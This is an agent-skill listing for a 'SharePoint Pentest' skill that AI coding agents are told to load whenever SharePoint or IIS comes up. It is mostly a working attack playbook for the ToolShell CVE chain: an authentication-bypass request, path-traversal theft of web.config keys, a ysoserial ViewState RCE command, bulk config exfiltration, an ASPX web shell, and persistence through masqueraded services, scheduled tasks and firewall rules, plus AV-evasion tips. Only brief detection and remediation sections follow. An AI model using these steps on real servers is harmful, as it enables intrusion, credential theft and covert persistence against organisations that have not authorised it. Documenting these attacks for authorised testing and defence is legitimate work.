# Sharepoint Pentest

> How to enumerate, exploit, and post-exploit Microsoft SharePoint environments. Use this skill whenever the user mentions SharePoint, IIS, ASP.NET web applications, ViewState exploitation, or needs to assess SharePoint security. Make sure to use this skill for any SharePoint-related security assessment, vulnerability testing, or incident response involving SharePoint servers, even if they don't explicitly mention 'SharePoint' but describe IIS/ASP.NET environments with _layouts or _vti_bin paths.

- Skill: `abelrguezr/sharepoint-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/sharepoint-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/sharepoint-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/sharepoint-pentest

---


# SharePoint Pentesting & Exploitation

> **⚠️ AUTHORIZED USE ONLY** - This skill is for authorized security assessments, penetration testing, and incident response. Always have written authorization before testing any system.

This skill covers practical techniques to enumerate, exploit, and post-exploit Microsoft SharePoint (on-premises) environments. SharePoint is built on ASP.NET/IIS, so classic web attack surfaces apply, plus hundreds of proprietary endpoints that dramatically expand the attack surface.

## Quick Start

```bash
# 1. Enumerate the target
./scripts/sharepoint-enumerate.sh <target-host>

# 2. If vulnerable, generate exploit payloads
python3 scripts/sharepoint-viewstate-forgery.py --help

# 3. Extract configuration files post-exploitation
./scripts/sharepoint-config-extractor.sh <target-path>
```

## 1. Enumeration

### 1.1 Identify SharePoint

Check for SharePoint-specific indicators:

```bash
# Favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # Returns WCF/XSI

# Version leakage (often in JavaScript)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# Check for vulnerable ToolPane endpoint
curl -s -I https://<host>/_layouts/15/ToolPane.aspx
```

### 1.2 Enumerate Standard Paths

```bash
# Interesting standard paths to check
/_layouts/15/ToolPane.aspx               # Vulnerable page in 2025 exploit chain
/_vti_bin/Lists.asmx                     # Legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
/_vti_bin/owssvr.dll
/_vti_bin/soap.dll
```

### 1.3 Enumerate Sites & Site Collections

```bash
# Requires at least Anonymous access
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```

## 2. The 2025 Exploit Chain (ToolShell)

### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` allows arbitrary Server-Side Include code injection that gets compiled by ASP.NET.

**Attack pattern:**
1. Inject C# code via `DefaultWebPartId` parameter
2. Code executes `Process.Start()` and drops malicious ViewState
3. Leads to server-side code execution

### 2.2 CVE-2025-49706 – Authentication Bypass

The same page trusts the **X-Forms_BaseUrl** header to determine site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.

**Bypass technique:**
```bash
curl -X POST https://<host>/_layouts/15/ToolPane.aspx \
  -H "X-Forms_BaseUrl: https://<host>/_layouts/15/" \
  -H "Referer: https://<host>/_layouts/15/" \
  -d "<payload>"
```

### 2.3 CVE-2025-53770 – ViewState Deserialization → RCE

Once you control a gadget in `ToolPane.aspx`, post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside `w3wp.exe`.

**If signing is enabled:**
1. Steal ValidationKey/DecryptionKey from web.config (see 2.4)
2. Forge payload with ysoserial.net or ysodom

```bash
# Generate ViewState payload
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | \
  ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```

### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Send a crafted `Source` parameter to `ToolPane.aspx` to return targeted files:

```bash
# Extract web.config
curl "https://<host>/_layouts/15/ToolPane.aspx?Source=../../../../web.config"

# Extract other config files
curl "https://<host>/_layouts/15/ToolPane.aspx?Source=../../../../ApplicationHost.config"
```

**What you get:**
- `<machineKey validationKey="…" decryptionKey="…">` → forge ViewState/ASPXAUTH cookies
- Connection strings & secrets
- Application configuration

### 2.5 ToolShell Workflow (Observed in Ink Dragon Intrusions)

1. **Header spoofing for auth bypass** - POST to `/_layouts/15/ToolPane.aspx` with fake `X-Forms_BaseUrl` and `Referer` headers
2. **Serialized gadget in same request** - Body includes attacker-controlled ViewState/ToolPart data
3. **Internet-scale scanning** - Enumerate every reachable `ToolPane.aspx` endpoint
4. **Immediate staging** - Drop loader or PowerShell stager that:
   - Dumps every web.config
   - Plants ASPX webshell for contingency access
   - Schedules local Potato privesc to escape IIS worker

## 3. Post-Exploitation

### 3.1 Exfiltrate All Config Files

```bash
# Variation 1: Batch extract all .config files
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```

The resulting `debug_dev.js` can be downloaded anonymously and contains **all** sensitive configuration.

### 3.2 Deploy ASPX Web Shell

```bash
# Variation 2: Base64-encoded deployment
powershell.exe -EncodedCommand <base64>
```

**Shell template:**
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
        Response.Write(MachineKey.ValidationKey);
        // echo secrets or invoke cmd
    }
</script>
```

**Write location:**
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```

### 3.3 Decrypt Protected Configuration

Once on the web tier, decrypt protected sections:

```bash
# Decrypt connectionStrings
aspnet_regiis.exe -px "connectionStrings" C:\temp\conn.xml -pri

# Decrypt appSettings
aspnet_regiis.exe -px "appSettings" C:\temp\settings.xml -pri
```

This reveals SQL logins, SMTP relays, and custom service credentials.

### 3.4 Lateral Movement Patterns

1. **Recycle app-pool accounts** - Many enterprises reuse `IIS APPPOOL\SharePoint` across farms
2. **Test credentials** - Use decrypted credentials over SMB/RDP/WinRM to sibling servers
3. **Abuse leaked machineKey values** - Reusing validationKey/decryptionKey allows lateral ViewState exploitation between internal SharePoint zones

### 3.5 Persistence Patterns

**Scheduled tasks:**
```bash
# One-shot task (often missed by telemetry)
schtasks /create /tn "SYSCHECK" /ru SYSTEM /sc once /st <hh:mm> /tr "<payload>"
```

**Masqueraded services:**
```bash
# Services like WindowsTempUpdate, WaaSMaintainer
sc create "WindowsTempUpdate" binPath="<malicious-path>" start=auto
```

**Firewall downgrades:**
```bash
# Permissive outbound rule masquerading as Defender
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
```

## 4. Detection & Evasion

### 4.1 What Defenders See

- **Header anomalies** - Unusual `X-Forms_BaseUrl` values
- **ViewState patterns** - Unusually large or malformed ViewState parameters
- **File access** - Access to `web.config` via `ToolPane.aspx`
- **Process spawning** - `w3wp.exe` spawning `cmd.exe` or `powershell.exe`
- **Network** - DNS TXT record queries (AK47C2 variant), unusual outbound connections

### 4.2 Evasion Techniques

- **Obfuscation** - Single-letter variable names, `Thread.Sleep()` for timing-based AV bypass
- **DLL side-loading** - Place malicious DLL next to legitimate executables (e.g., `7z.exe`)
- **Masquerading** - Use legitimate Windows component names for services and firewall rules
- **Chunked communication** - Split long queries across multiple requests

## 5. Remediation

### 5.1 Immediate Actions

1. **Patch immediately** - Apply Microsoft security updates for CVE-2025-49704/49706/53770/53771
2. **Rotate machineKey** - Change validationKey/decryptionKey in web.config
3. **Audit app-pool accounts** - Ensure unique credentials per server
4. **Review scheduled tasks** - Check for persistence mechanisms
5. **Scan for webshells** - Look for suspicious .aspx files in _layouts directories

### 5.2 Long-term Hardening

1. **Disable anonymous access** - Where possible
2. **Implement WAF rules** - Block suspicious ViewState patterns
3. **Monitor _layouts endpoints** - Alert on unusual access patterns
4. **Segment SharePoint** - Limit lateral movement opportunities
5. **Regular credential rotation** - Especially for app-pool accounts

## 6. References

- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit47 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Check Point Research – Inside Ink Dragon](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)

## 7. Related Skills

- IIS post-exploitation & web.config abuse
- ASP.NET ViewState exploitation
- .NET deserialization attacks
- Windows privilege escalation (Potato variants)
- DLL side-loading techniques